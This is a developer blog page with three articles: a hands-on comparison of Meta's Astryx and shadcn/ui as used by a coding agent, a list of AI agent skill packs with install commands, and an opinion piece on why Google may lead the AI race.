logrocket-Dev

Astryx vs. shadcn/ui: Testing Meta’s AI-friendly React design system with Claude Code

Chizaram Ken — Invalid Date

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Check it out

If you’ve pointed an AI agent at a component library lately, you’ve probably watched this happen. You ask Claude Code to build a dashboard; it picks a component that was renamed two versions ago, passes a prop the library dropped, and hands you a file that looks right but won’t compile.

The agent couldn’t see the library’s actual API, so it filled in the gaps with whatever it remembered from training. What it remembered was out of date.

This isn’t a new problem, and the ecosystem has been chipping away at it. shadcn/ui shipped an MCP server. Chakra UI and Storybook did too. The idea behind all of them is the same: give the agent a machine-readable description of the components so it can query the real API instead of guessing.

Astryx is Meta’s take on that idea. Meta open-sourced it on 28 June 2026 under the MIT license after eight years of internal use. It’s built on React and StyleX, and it ships with a CLI and an MCP server that give the agent a manifest of every component, prop, and default.

I wanted to know whether that actually changes how an agent behaves. So I connected Claude Code to Astryx, built three real UIs with it, then built the same three against shadcn/ui without a manifest. Here’s what held up and what didn’t.

Why agents trip over design systems

I started with shadcn/ui, partly because it’s what many React developers reach for and partly because it recently shipped a change that illustrates the problem. shadcn/ui v4 moved off Radix and onto base-ui. That one change invalidates a lot of what an agent may have learned from older shadcn code, with no obvious way for the agent to know the underlying model changed.

So it wrote what it remembered. It put asChild on DropdownMenuTrigger, the classic Radix composition pattern. In v4, that prop is gone, and the build failed.

To sort it out, I opened input.tsx and button.tsx to check the new base-ui patterns, then leaned on what I already knew about shadcn for the rest. It worked, but something important was missing: there was no manifest to ask and no CLI to query. The agent’s only sources were its own memory and whatever I could infer from the source.

There was a second, smaller issue in my first run, a TypeScript complaint on an onChange handler, but I couldn’t reliably reproduce it afterward. It seems to depend on how strict your tsconfig is, so I’m not going to lean on it.

Setup friction also piled up before a single component rendered. Tailwind v4 needed a manual vite.config.ts change. shadcn init dropped files into a literal @/ folder that I had to move into src/ by hand. TypeScript 6.0 wanted an ignoreDeprecations flag for a deprecated baseUrl.

None of that is Astryx’s doing, but it is part of the practical cost of the comparison.

shadcn isn’t standing still. It now ships its own MCP server, and Chakra UI and Storybook have added similar tooling.

All of these systems, Astryx included, started as tools for humans. Astryx wasn’t designed for agents eight years ago. What’s different is that its CLI, manifest, MCP server, and AGENTS.md file arrived together as part of the public release rather than being added later.

Whether that packaging changes how an agent behaves is the question. So let’s test it.

What you actually get with Astryx

Astryx is a component library plus the tooling around it. You import precompiled CSS and typed React components. There’s no build plugin or separate styling library you need to adopt.

The component count depends on where you look. The GitHub repo lists 90-plus components, Meta’s docs say 150-plus, and when I ran npx astryx init, the generated AGENTS.md listed 153. Meta says Astryx has powered more than 13,000 of its internal apps over eight years, though that’s a company claim rather than something I independently verified.

For an agent, three pieces matter. The CLI, available as astryx or xds, prints a component’s full documentation on demand. The MCP server exposes the same surface over the protocol used by tools such as Claude Code, Cursor, and Copilot. Then there’s the manifest, which provides a machine-readable description of every component and prop.

The agent doesn’t have to scrape a docs site. It can query the system directly.

Note: Building on StyleX doesn’t require you to use StyleX yourself. Astryx authors its styles with StyleX, but that implementation detail is largely invisible to consumers. You can override components through className using Tailwind, CSS Modules, or plain CSS. You’ll need React 19 or later.

Test one: the dashboard

For the first test, I asked for an analytics dashboard with sidebar navigation, a top bar and user menu, four stat cards, a chart placeholder, and a data table.

The agent didn’t guess a single component name. It ran npx astryx component --list to inspect the inventory, then queried each component it planned to use: AppShell, SideNav, Card, DropdownMenu, Table, Grid, and about a dozen more.

Eighteen lookups in total. Each returned real props and, sometimes, guidance I wouldn’t have thought to ask for. The Card docs explicitly warn that cards aren’t the default layout tool. The AppShell docs pointed me to height="fill" for dashboards and contentPadding={0} for tables.

Then the agent wrote the file, and it still got four things wrong.

It guessed variant="chromeless" on a button when the real value was ghost. It put startIcon on the dropdown trigger, assuming the standard button prop applied, even though the trigger accepts a narrower set and expects icon. It forgot that SideNavSection requires a title. Finally, it imported TableRow and TableCell out of habit before realizing Astryx’s Table is data-driven and doesn’t use them.

// Guessed a variant name. It doesn't exist.
variant: 'chromeless',

// Corrected to a real one.
variant: 'ghost',

// Assumed the standard button prop applied to the dropdown trigger.
startIcon: <Avatar name="Marvel Ken" size="sm" />,

// The trigger accepts a narrower set. The real prop is icon.
icon: <Avatar name="Marvel Ken" size="sm" />,

Every one of those errors was a wrong prop name, and TypeScript caught every one at build time before anything rendered. The agent never invented a component that didn’t exist because it had already pulled the real component list.

After those four fixes, the build passed with no runtime errors. The manifest didn’t make the agent perfect. It made its mistakes cheap.

The Table component is where an agent working from memory would be most likely to faceplant. Astryx doesn’t build tables from TableRow and TableCell children. It accepts data and a column definition, with width helpers such as proportional() and pixel().

// Astryx: data-driven, no row or cell children.
<Table<TransactionRow>
  data={transactions}
  columns={[
    {key: 'date', header: 'Date', width: proportional(1)},
    {key: 'customer', header: 'Customer', width: proportional(1)},
    {key: 'amount', header: 'Amount', width: pixel(100)},
    {
      key: 'status',
      header: 'Status',
      width: pixel(100),
      renderCell: (row) => (
        <Badge
          variant={statusVariant(row.status as string)}
          label={row.status as string}
        />
      ),
    },
  ]}
  density="compact"
  hasHover
/>

For comparison, here’s the same table the agent built against shadcn, using the children-based structure it initially started to reach for with Astryx before the manifest corrected it.

// shadcn: children-based composition.
<Table>
  <TableHeader>
    <TableRow>
      <TableHead>Date</TableHead>
      <TableHead>Customer</TableHead>
      <TableHead>Amount</TableHead>
      <TableHead>Status</TableHead>
    </TableRow>
  </TableHeader>
  <TableBody>
    {transactions.map((tx, i) => (
      <TableRow key={i}>
        <TableCell className="text-xs">{tx.date}</TableCell>
        <TableCell className="text-xs">{tx.customer}</TableCell>
        <TableCell className="text-xs">{tx.amount}</TableCell>
        <TableCell>
          <Badge variant={statusVariant(tx.status)}>{tx.status}</Badge>
        </TableCell>
      </TableRow>
    ))}
  </TableBody>
</Table>

An agent trained on children-based component libraries has good reason to reach for the second pattern. The one reading Astryx’s manifest wrote the first.

Test two: swapping the theme

This test shows the difference between a theme system that can cascade through the whole component library and one whose styling is distributed across tokens and component classes. It’s also where Astryx looked strongest.

I originally wanted to swap both libraries to the same brutalist theme to keep the comparison fair. I couldn’t. Astryx’s brutalist theme package, @astryxdesign/theme-brutalist, is listed on GitHub but wasn’t published to npm when I tested it.

I used Astryx’s gothic theme instead and hand-approximated a brutalist look on the shadcn side. The resulting UIs have different aesthetics, so the useful comparison here is the mechanism: how much work each theme swap required and how completely it propagated through the UI.

With Astryx, switching from neutral to gothic meant changing two files: the CSS import and the theme provider prop. Four lines changed, with no component files touched.

--- a/src/index.css
+++ b/src/index.css
-@import '@astryxdesign/theme-neutral/theme.css';
+@import '@astryxdesign/theme-gothic/theme.css';

--- a/src/main.tsx
+++ b/src/main.tsx
-import {neutralTheme} from '@astryxdesign/theme-neutral/built';
+import {gothicTheme} from '@astryxdesign/theme-gothic/built';

-    <Theme theme={neutralTheme}>
+    <Theme theme={gothicTheme}>

The build worked immediately because Astryx layers its theme tokens through a CSS cascade that reaches every component. Change the theme, and the UI restyles with it.

shadcn doesn’t have an equivalent theme package to swap, so I changed the token values directly with a handful of sed commands, about six edits.

It got me partway.

The sidebar went near-black and most corners flattened, but the theme didn’t propagate completely. The reason is structural. shadcn splits styling between CSS variables and Tailwind classes hardcoded in its component templates.

Setting --radius: 0 flattens token-driven corners, but a component with a hardcoded rounded-lg class ignores that token. Typography has the same limitation: components can hardcode classes such as text-sm and font-medium, so a broader typographic change requires editing component source.

A complete theme swap therefore crosses into the component files. Astryx’s required four changed lines and touched none.

The last task was a settings modal with a form, three toggles, and a save button.

Both libraries had every component I needed. shadcn provided Dialog, Input, Switch, Label, and Separator, and the agent composed them without anything missing. The difference was how much layout scaffolding it had to create around those components.

With shadcn, the modal needed extra wrapper divs with flex and gap utilities to hold the layout together. With Astryx, the agent used VStack, HStack, and FormLayout, primitives that already carry spacing behavior. More of the layout came from the design system itself.

The Switch makes the difference especially clear. Astryx uses value and onChange instead of the checked and onCheckedChange pattern you might expect from other libraries. It also provides description and labelSpacing props for exactly the labeled-toggle pattern the task required.

The agent knew that because it queried the component.

// Astryx: label, description, and spacing are part of the component.
<Switch
  label="Email Notifications"
  description="Receive product updates and account alerts"
  value={emailNotifications}
  onChange={setEmailNotifications}
  labelSpacing="spread"
/>

The same toggle takes more scaffolding with shadcn because the label and description layout aren’t part of the component itself.

// shadcn: you assemble the label and description with wrapper divs.
<div className="flex items-center justify-between">
  <div className="flex flex-col gap-0.5">
    <Label htmlFor="emailNotif">Email Notifications</Label>
    <span className="text-xs text-muted-foreground">
      Receive product updates and account alerts
    </span>
  </div>
  <Switch
    id="emailNotif"
    checked={emailNotifications}
    onCheckedChange={setEmailNotifications}
  />
</div>

The two modals are shown on different themes, gothic for Astryx and the brutalist-inspired tokens for shadcn, because that’s where each build ended up after the previous test. The useful comparison is the composition rather than the color.

The numbers

Here are the counts from the two runs, taken directly from the agent’s log rather than from a scoring system I imposed afterward.

Metric	Astryx (MCP connected)	shadcn/ui (no manifest)
Component lookups before writing	18, via the CLI	0, read source and used prior knowledge
Fixes needed	4	1 confirmed (`asChild`)
What the fixes were	Wrong prop names, caught at build	Outdated Radix `asChild` pattern on base-ui
Components used	27	22
Theme swap	4 lines, one theme import	A few `sed` edits to token values
Theme swap result	Complete, no component files touched	Partial, radius and type stayed
Setup friction	None	Tailwind plugin, install hang, misplaced files, `tsconfig` flag

By raw count, Astryx looks worse: four fixes compared with shadcn’s one. The count hides the important difference, which is what kind of fixes they were.

Astryx’s four errors were incorrect prop names that TypeScript rejected within seconds. The confirmed shadcn error came from an outdated mental model of the library: asChild belonged to the Radix-based version the agent knew, while v4 had moved on to base-ui.

The manifest didn’t stop the agent from making mistakes. It changed the cost of those mistakes.

The catches

Astryx is still a young public project, and a fair verdict needs to account for that.

It was in Beta at v0.0.14 when I tested it. The public project is only weeks old, and its APIs can still shift before v1.0. Eight years of internal use across a reported 13,000 Meta apps is evidence of a mature internal system. It doesn’t tell us how stable the newly public tooling will be.

The third-party ecosystem is also almost bare. I found one package on npm, @atomic-testing/component-driver-astryx, and little else. There isn’t yet a large body of community patterns or Stack Overflow answers to fall back on when you hit an edge case.

The brutalist theme package advertised in the repo, @astryxdesign/theme-brutalist, wasn’t available on npm when I tested it, which is why my theme swap used gothic instead. It’s a small issue, but exactly the kind of rough edge you’d expect from a Beta release.

The component count is inconsistent too: 90-plus in the repo, 150-plus in Meta’s docs, and 153 in the manifest generated by my CLI. Some components appear to exist internally but haven’t been extracted publicly yet.

The StyleX concern is smaller than it might initially sound. You don’t need to adopt StyleX to use Astryx because its CSS is precompiled, and you can override components through className.

The more consequential question is whether you want to build on a library whose public life is still measured in weeks. If you’re evaluating your technical debt exposure before committing to a new dependency, that’s worth factoring in.

So, is it worth it?

The important result from these tests is that Astryx didn’t stop the agent from making mistakes. It kept making them. What changed was the kind of mistake it made and how expensive each mistake was to diagnose.

With Astryx, the errors were incorrect props that TypeScript caught immediately. With shadcn, the confirmed error came from a mental model the agent had no way to know was outdated. The theme test tells a similar story: four changed lines produced a complete Astryx restyle, while the shadcn version required manual token edits and still only partially changed the UI.

Whether you should adopt Astryx today is a separate question from whether its approach makes sense. Giving an agent a real contract for the design system instead of relying on whatever API it remembers from training is clearly useful, and Astryx isn’t alone in moving that way. shadcn, Chakra UI, Storybook, and others are pursuing similar approaches.

Astryx’s implementation is unusually complete for something this new, but the public project is still young. For a greenfield internal tool where you control the stack and want an agent doing substantial UI composition, it’s worth a serious look. More broadly, it offers a useful preview of what AI-friendly design systems are likely to be expected to provide.

Key takeaways

The agent connected to Astryx’s manifest never invented a component that didn’t exist because it queried the real component list before writing
Astryx needed more fixes than shadcn, four to one, but every Astryx fix was a wrong prop name caught at build time, while shadcn’s confirmed error came from an outdated API assumption
The theme swap exposed a structural difference: four changed lines produced a complete Astryx restyle, while shadcn required manual token edits and still produced only a partial theme change
You don’t need to adopt StyleX to use Astryx; the larger concern is its Beta status and still-small public ecosystem

#ai
#react

10 best AI agent skills for senior engineers in 2026

Emmanuel John — Invalid Date

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Check it out

When using AI coding agents, a frustrating pattern usually emerges: the agent ignores key codebase rules, churns out verbose boilerplate, or clutters the context window with repetitive prompts.

Manually pasting guidelines into every fresh session or copying system instructions over and over is tedious and burns through tokens unnecessarily.

Skill files solve this at the root.

A skill is a structured prompt file loaded into your agent’s context once, altering how it behaves across every task where that capability is relevant.

This article explores ten AI agent skills that deliver the highest practical value for a senior engineer’s day-to-day workflow. For each one, we will break down what it does, how to install it, and when you are better off skipping it.

What are the best AI agent skills for engineers?

For quick reference, we are considering the following agent skills:

Superpowers

Superpowers is an agentic skill pack designed to enforce a complete, end-to-end software engineering workflow on your AI agent. Rather than letting the model leap straight into writing code, it routes execution through structured, non-negotiable quality gates:

Upfront brainstorming: Uncovers hidden assumptions and resolves ambiguities before a single line of code is written
Granular implementation planning: Generates an isolated, step-by-step roadmap broken into small, independently executable tasks
Sub-agent context isolation: Spawns dedicated sub-agents to complete each micro-task in its own fresh context window, eliminating context drift across components
Strict test-driven development (TDD): Enforces a strict red-green-refactor cycle within each sub-agent before changes are accepted
Automated code review: Triggers a structured review pass against completed changes to verify both spec compliance and code quality
Clean handoff: Prepares an isolated git feature branch and delivers a clean Pull Request ready for your final human sign-off

How do you install the Superpowers skill?

Install the Superpowers skill by adding the skill file to your agent’s skills directory. In Claude Code, that looks like:

/plugin install superpowers@claude-plugins-official

Once it is set up, you do not explicitly need to call Superpowers in your coding agent. Instead, Superpowers scans its installed skill registry dynamically, selecting and invoking the exact tools needed for your specific task at any given moment.

When should you skip the Superpowers skill?

Skip Superpowers for single-function changes, quick bug fixes, or small, isolated refactors. The upfront brainstorming and planning phases consume both time and tokens; that investment only pays off when applied to moderate or large-scale tasks.

Deslop

Deslop checks the diff against your main branch and removes AI-generated artifacts introduced in the current branch. It targets problems that agents introduce consistently, but that are easy to miss in review.

How do you install the Deslop skill?

Install Deslop using the npx skills add command below:

npx skills add https://github.com/cursor/plugins --skill deslop

After installation, you can go ahead and use the deslop prompt in your codebase like so:

Run deslop on this codebase

When should you skip Deslop?

Deslop compares against local style. On a project with no established conventions, the comparison has no baseline. Use it on codebases where existing files have a recognizable pattern. On new projects, skip Deslop until the codebase has enough examples to define a style.

Caveman

Caveman compresses an AI agent’s output to communicate with precision while maintaining technical accuracy.

An AI agent output with Caveman looks like this:

authenticate: check email in DB → validate bcrypt hash → JWT on pass, error on fail

Without Caveman, it looks like this:

The `authenticate` function is responsible for verifying user credentials against
the database. It first checks whether the provided email address exists in the
users table, then validates the password hash using bcrypt. If either check fails,
it returns an appropriate error response. If both checks pass, it generates a JWT
token and returns it to the caller.

Caveman supports the following levels of compression:

Light: This removes filler sentences and language, keeps full prose structure
Full: This compresses to structured notation with arrows and short-form syntax
Ultra: This is a single-line compression for status updates and confirmations

How do you install the Caveman skill?

Install Caveman with the following command:

npx skills add https://github.com/juliusbrussee/caveman --skill caveman

After installation, you can go ahead and prompt the AI like so:

Use caveman skill (full mode) to explain the current error.

Or set it as a session default by invoking it at the start of a session:

Use caveman for all responses in this session.

Performance optimization

Performance optimization skill, as the name suggests, handles performance. It takes care of the following performance issues:

Frontend: React.memo, useMemo, useCallback, lazy loading, code splitting, image optimization, and bundle analysis with webpack-bundle-analyzer
Backend: N+1 query fixes, database indexing, Redis caching, and API response compression
Measurement: Lighthouse for page-level scores and Web Vitals for Core Web Vitals tracking; profiling comes before any optimization step

How do you install the performance-optimization skill?

You can install the skill with the following command:

npx skills add https://github.com/supercent-io/skills-template --skill performance-optimization

You can then go ahead and run it when you run into performance issues like below:

Use performance-optimization skill to diagnose the slow initial load on
the dashboard page and suggest fixes in order of expected impact.

When should you skip performance optimization?

The skill optimizes existing code. Without a measurement baseline, the optimization recommendations have nothing to improve against.

Improve

Improve skill addresses a cost problem in agent-assisted development. High capability models produce better plans and catch more edge cases, but running them for every implementation is expensive. Cheaper models are cost-effective but cannot reliably navigate complex multi-file changes on their own.

The most capable model reads the code, identifies the problem, and writes a detailed step-by-step implementation plan. A cheaper model then reads that plan and implements each step without loading the full codebase into its context window.

How do you install the Improve skill?

Install this skill with the following command:

npx skills add shadcn/improve

Invoke it by describing the task for the senior model to analyze:

Use improve skill to analyze the subscription billing flow and generate
an implementation plan for adding proration when a user upgrades mid-cycle.

When should you skip the Improve skill?

The Improve skill adds an analysis phase before any code is written. For straightforward changes, the planning overhead is not justified. Reserve Improve for tasks where the implementation plan itself is the hard part.

Test-driven development (TDD)

The TDD skill enforces a test-driven cycle at the agent level. It enforces the following test cycle:

Red: write a test that specifies the desired behaviour. The test must fail before any implementation exists. The agent confirms the failure before proceeding
Green: write the minimum implementation code to make the test pass. Not the best implementation; the minimal one
Refactor: clean up the implementation while keeping the test green

The skill blocks the agent from writing implementation code until step one is complete and the test failure is confirmed.

How do you install the TDD skill?

The TDD skill is included in Superpowers but runs as a standalone skill for focused use cases. You can use it separately like the example below:

Use TDD skill to add input validation to the createUser function.
It should reject empty strings, emails without @ symbols, and
passwords shorter than 8 characters.

The agent will first write the test file, show you the failing test output, and then write the implementation.

When should you skip TDD for AI agents?

TDD adds a test-writing step to every implementation task. For throwaway scripts, one-off data migrations, or prototype code you know you will delete, the overhead is not justified. Use the skill for code that will be maintained and changed over time.

Context7

Context7 is an agent skill that fetches current, version-specific documentation for any library as needed. When the agent is about to write code that uses an external library, Context7 intercepts the request, fetches the relevant documentation for the installed version of that library, and injects it into the agent’s context window.

The documentation injection happens automatically; you do not have to tell the agent which version of which library to look up. Context7 also has an MCP server that you can learn about in our earlier blog post.

How do you install the Context7 skill?

Install the Context7 skill with:

npx skills add https://github.com/netresearch/context7-skill --skill context7

After installation, the skill activates automatically when the agent detects library usage in its output.

When should you skip Context7?

Context7 relies on the library’s documentation being available and up to date. For niche or internal libraries, the documentation source may not exist or may not be indexed. In those cases, you need to supply the relevant documentation manually through a context file or an inline prompt.

React best practices

This skill enforces the following in your React codebase:

State colocation: Keep state in the component that owns it, not in a parent that passes it down
Composition over prop drilling: When a value needs to pass more than two levels, use context or component composition
Exhaustive useEffect dependency arrays: No missing dependencies, no suppression comments
Selective memoization: Apply useMemo and useCallback only where profiling shows a measurable re-render cost
Data-fetching separation: Fetching logic lives outside presentation components

How do you install the React best-practices skill?

Go ahead and install the skill with the command below:

npx skills add vercel-labs/agent-skills

Invoke it like so:

Use react-best-practices skill to build a filterable product list
with search input, category filters, and paginated results.

Next.js best practices

Next.js best practices skill from Vercel Labs enforces Next.js best practices in your Next.js codebase. It enforces the following in Next.js:

Correct RSC boundaries and detection of invalid async client component patterns
Async params and searchParams usage for Next.js 15+
'use client' and 'use server' directive placement
Data fetching patterns that avoid waterfalls
Error boundary conventions using error.tsx, not-found.tsx, and global-error.tsx
Image and font optimization with next/image and next/font
Runtime selection between Node.js and Edge runtimes

How do you install the Next.js best-practices skill?

Install the skill with:

npx skills add vercel-labs/next-best-practices

Use it like below:

Use next-best-practices skill to build a product listing page with
server-side data fetching, dynamic route params, and optimized images.

When should you skip the Next.js best-practices skill?

The skill targets Next.js 15+ patterns. On projects running older versions of Next.js, there could be issues.

Incremental implementation

The incremental-implementation skill constrains the agent to implement the smallest complete piece of functionality, run tests, verify the build, commit, before moving to the next task. Each completed task leaves the codebase in a working state.

How do you install the incremental-implementation skill?

Install the incremental implementation skill with the command below:

npx skills add https://github.com/addyosmani/agent-skills --skill incremental-implementation

Go ahead and invoke it like so:

Use incremental-implementation skill to add user profile editing. Start
with just the API endpoint — do not touch the UI yet.

When should you skip incremental implementation?

If the change is already minimal, the increment cycle adds overhead without adding safety. Use it for changes that span more than one file or that involve multiple layers.

How do you chain AI agent skills together?

In my workflow, I chain complementary skills together to build a robust development pipeline. These are some of the ways I chain these agent skills.

Which skills work best for large feature builds?

I use this combination when building features that span multiple components or cross architectural boundaries.

For a large feature build, I chain these skills:

Superpowers: I initiate the feature workflow with Superpowers to handle brainstorming, clarify requirements, and design the initial architecture. Superpowers isolates implementation steps into sub-agents to avoid context window pollution
Context7: I equip the agent with Context7 to automatically pull version-specific documentation for any new dependencies I introduce
React/Next.js best practices: I apply the React or Next.js Best Practices skill to keep my component hierarchy clean, enforce correct RSC boundaries, and avoid common rendering bottlenecks
Incremental implementation: I enforce Incremental Implementation to guide the sub-agents through minimal, verifiable commits
Deslop: Finally, I run Deslop on the finished diff to strip away any temporary AI-generated comments, verbose explanations, or unnecessary console logs before opening the pull request

Which skills work best for performance refactoring?

I use this combination when investigating performance bottlenecks or refactoring code.

My refactoring chain runs as follows:

Performance optimization: I profile the application using Lighthouse or Web Vitals to locate the exact bottleneck
TDD: I write a failing test that reproduces the performance issue or captures the existing contract requirements. This locks the expected behavior in place
Incremental implementation: I apply my optimizations in small, isolated steps rather than a single massive refactor. I run the tests after each change to verify correctness
Deslop: I run Deslop to clean up the code

Conclusion

AI coding agents are powerful, but they are only as good as the guardrails and context we provide. By integrating skills into our daily workflow, we shift from manually babysitting prompts to establishing a declarative development environment.

Why Google is probably going to win the AI race

Lewis Cianci — Invalid Date

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Check it out

For a long time, perhaps too long, if the antitrust lawsuits are anything to go by, Google has dominated the search engine space. Recently, Alphabet issued a hundred-year bond to fund its AI ambitions, so the idea of Google still being around in a hundred years is apparently not that far-fetched.

At the end of 2022, OpenAI released ChatGPT to the public. The results were incredible. The idea that you could simply ask something in natural language and receive a direct answer felt like a game changer. The days of searching Google and manually flipping through results suddenly seemed a little dated. You could just ask your question, and the answer appeared. The flow-on effects for other industries, especially software development, were immense, and they are still being felt around the world.

For a brief moment, it seemed like what Google had set out to do had been rendered obsolete by ChatGPT. People could ask a specific question and get a specific answer. For many queries, this made Google’s approach, and by extension Bing’s and every other search engine’s, feel redundant.

Competition in this space was a good thing. Competition forces incumbents to move faster. It can even destabilize companies that have held a category for so long that their dominance starts to feel inevitable.

In the long term, though, people usually coalesce around one tool. Nobody tells you to Bing something. They tell you to Google it.

The same is often true of social networks. Facebook still owns a huge part of the social media game, while Instagram dominates a major share of image and video sharing. The only way to establish market dominance against platforms like that is to release something people actually want, then spend an absurd amount of money promoting it. For example, ByteDance reportedly spent nearly $20 billion promoting TikTok in 2021. TikTok became massive. Instagram is still here.

The current AI field feels reminiscent of the early search engine era, when people bounced between AltaVista, Yahoo, and Google. To get the best results, you had to try a few engines, until one became clearly and obviously better.

OpenAI, Anthropic, Google, Meta, and others are all in this race. But the question is not just who has the best chatbot today. It is who has the most data, who has the best tools, who has the strongest distribution, and who can subsidize the whole thing for the longest.

Who has the most data?

AI, and by extension large language models, are essentially probabilistic systems that generate one token at a time based on learned probability distributions. When things go well, they produce the right answer or outcome. But because they are probabilistic, their answers can sound plausible while being wildly wrong. That is why AI systems sometimes tell people to put glue on pizza or eat rocks. The model has seen enough text to produce a likely-sounding answer, but it has not necessarily classified that answer as nonsense.

To train the best possible model, you would ideally compile every useful word ever written by a human into a dataset. But only a subset of that data is freely available, and purchasing every piece of high-quality content ever written would cost more money than anyone has.

So how do companies get the data they need?

There are a few options, but one of the big ones is web scraping. Plenty of websites contain high-quality human-written information. Less than a year after ChatGPT was released, Stack Overflow announced that it would begin charging AI companies for access to its data. By that point, though, the horse had largely bolted. Huge amounts of data had already been scraped from sites like Stack Overflow, Reddit, and Twitter.

We also know that AI needs real, human-written data. Training AI on too much AI-generated material can lead to model collapse. At the same time, AI companies need enormous datasets to keep improving model quality.

So who has the most data?

Surprising nobody, it is probably Google. Google has been crawling and indexing the web for decades to power the most popular search engine in the world. It already has infrastructure built around discovering, categorizing, ranking, and storing web content. Why would it not also find ways to use that knowledge to improve its own AI systems?

But the open season on data is ending. Publishers have gotten smarter. Websites have firmed up their positions on AI training. When scrapers do not play nicely, they can get sent down an endless AI-fueled rabbit hole. More attention is being paid to how AI models are trained, and publishers are increasingly willing to sue providers for unlicensed use of their content.

So how do companies like Google keep training and improving their models when more of the web is being locked down?

Enter Antigravity

In late November, Google announced Antigravity, a VS Code fork with integrated agentic coding abilities. While companies like OpenAI integrated into existing environments through VS Code extensions, Google chose to ship its own IDE with the AI tooling baked in.

Google shipped Antigravity with its own Gemini models, but also with Anthropic models like Claude Sonnet and Opus. Spinning up multiple agentic coding sessions was easy. Google’s generous access to its own models, plus access to Opus 4.5, made Antigravity an instant hit.

But unexpectedly, this IDE had another trick up its sleeve. It would not just test web apps to see whether they worked. When I was in the middle of a particularly tricky feature, Antigravity could not figure out what to do. So it opened Chrome, and what happened next kind of blew my mind.

Cruising the agentic web

The LLM could not quite figure out how to use the library I had chosen. So it opened GitHub and navigated to the repository. Then it retrieved the DOM for the browser, which gave it the layout of the web page and the content on it. It kept moving through each page, occasionally asking to run JavaScript to grep for a specific thing.

Eventually, it began leafing through the tests for the library. From those tests, it found up-to-the-minute information on how the function worked and was able to use it correctly in the app.

That is genuinely interesting because AI is trained on fixed sets of information, and every training set has an end date. The idea that an agent can open a browser, retrieve a website in real time, and use that information to solve a problem changes the dynamic.

It also has implications for Google’s broader AI strategy.

Working through the information

We know that not all websites allow scraping. Some explicitly prohibit AI companies from using their data. Sometimes scrapers ignore those preferences anyway, which is why companies like Cloudflare are building ways to confuse them.

So let’s play out a mental exercise.

Website A has the information we need, but it does not allow scraping or AI training. In theory, that data cannot be added to an LLM training set, and the information stays out of reach.

At the same time, we know that AI IDEs like Antigravity can search Google and browse websites to find information. A browser on your local computer can interact with websites like a normal user, but under the control of an AI agent. If something like a CAPTCHA or Cloudflare challenge appears, the user can complete it, and the agent can go back to work.

We also know that AI products often log conversations and interaction data, and that providers may use some of that data, depending on settings and policies, to improve or tune their systems. At scale, this kind of analysis would almost certainly be automated.

So imagine that same website, the one that never allowed scraping. It had the answer to our problem. The AI agent navigated to the site. The user solved the bot challenge. The agent parsed the page contents to decide where to look. Some version of that session may then become telemetry, training feedback, or product improvement data.

Technically, did Google scrape the website to get the data? Not in the old-fashioned sense. But a Google-controlled tool may have accessed the site’s content through a user’s browser, summarized it, and sent portions of that interaction back to Google.

Does that mean that even websites that expect AI companies to license their data, such as Stack Overflow, could still end up indirectly contributing to AI systems through agentic browsing sessions?

Uh, did Google just turn us into web scrapers, or at least into accessories to the process?

It is hard to say. But it is also hard to believe that a company racing to build better models would ignore valuable interaction data simply because it came from a user’s browser under agent control.

So Google has decades of access to human-written web information from running the world’s biggest search engine. It also appears to have a path into content that may be harder for traditional crawlers to access. That answers part of the data question.

But what about the tooling?

A tale of two AI IDEs

Annoyingly, when AI companies decide to make AI development tools, many of them seem to do the same thing: fork VS Code and jam their AI features on top.

I am not a billion-dollar company, but let me tell you, forking VS Code just so you can integrate your AI tools into it is usually the wrong thing to do.

Why? For starters, the moment you fork VS Code, you lose access to arguably its biggest asset: the VS Code Extension Marketplace. You wind up using something like Open VSX, which is good and useful, but not as well-stocked as the proper marketplace. It has also been compromised before, introducing a supply chain risk through the extension ecosystem.

Then there is duplication. VS Code is a fairly large app for a text editor. If a user has VS Code installed and then installs a second VS Code-like app with some AI code-assist features sprinkled through it, the setup quickly becomes unwieldy.

Unfortunately, this is what Google did with its first attempt at an AI coding tool. Antigravity arrived, and, surprise surprise, it was a VS Code fork. The case for doing this was not always clear. Antigravity users effectively had an inferior copy of VS Code on their computers with Gemini features added. The AI tooling would sometimes break mid-task, wasting credits and time. Reddit filled up with people complaining about it.

OpenAI’s approach was different. It did not fork VS Code. It wrote an extension for it. Users could keep the same VS Code instance with all their existing plugins. It was less resource-heavy. It broke less. OpenAI did not have to keep merging upstream VS Code changes into a fork over time.

Then OpenAI made the Codex app, which was standalone from VS Code altogether. Basically, it is a chat app with a frontend.

And in the time it has taken me to write this article, Google has re-released Antigravity. Let’s look for any hints of inspiration from what OpenAI did.

For starters, here is Codex:

And here is the new Google Antigravity:

How brave and unique. The sidebar is an entirely different color.

But seriously: the AI industry is coalescing around the thing that works. Google has not abandoned its VS Code fork altogether, as suggested by the “Install IDE” button in the top right of Antigravity. But OpenAI was right about the Codex desktop app design, and Google has more or less lifted that pattern wholesale.

Better still, many of the earlier errors around agents dropping out mid-conversation seem to be resolved in this version of Antigravity. That was by far its biggest problem.

But what about the model?

Google has access to more of the web than almost any other company because of its search engine. And, as we have covered, Antigravity can browse websites and use live content to help solve coding problems.

The missing piece is the model.

From my own experience, Google’s models are still not that crash-hot. Gemini Flash, even on high thinking, is frequently the model that gives me code that is needlessly obtuse or does not compile. When I ask Gemini to make an app and then ask Opus or Grok to review it, the latter models often find multiple bugs that need fixing. Shipping AI-generated code without careful review can introduce subtle bugs that are easy to miss.

Speaking of Grok, Grok 4.5 was recently released to the public after xAI/SpaceXAI merged its efforts with Cursor and trained the model. I have been using it a lot lately, and while it is not quite as good as Opus 4.6 or 4.8, it is definitely in the same ballpark.

Grok is designed to be a top-tier frontier coding model. Gemini Flash, by contrast, is supposed to be a faster, cheaper model. The only non-Flash model from Google currently available is Gemini 3.1 Pro, which was released in February 2026, making it roughly 80 years old in AI years. Still, in my experience, it is not great as a coding companion. It frequently makes mistakes and runs quite slowly.

Google does not have a publicly available Opus-level model yet. But it certainly has the compute available to train a gigantic new model if it chooses to do so. Given the hype around AI, that is almost certainly what it is working toward.

The point is that Google did not ship Gemini Flash and call it a day. Its models are being worked on constantly. Eventually, it may produce something that feels truly Fable- or Sol-class.

The final piece: monetization

Every other major AI company, from OpenAI to SpaceXAI and Anthropic, relies heavily on people paying subscriptions for AI services. They also have income from other sources, including government contracts and commercial customers. That income can be substantial.

But people change providers. Governments come and go. If everyone stopped paying for Anthropic tomorrow, and if it lost its commercial contracts, where would the money come from? Investors will only last so long.

These companies lack one thing that still prints money for Google: AdSense.

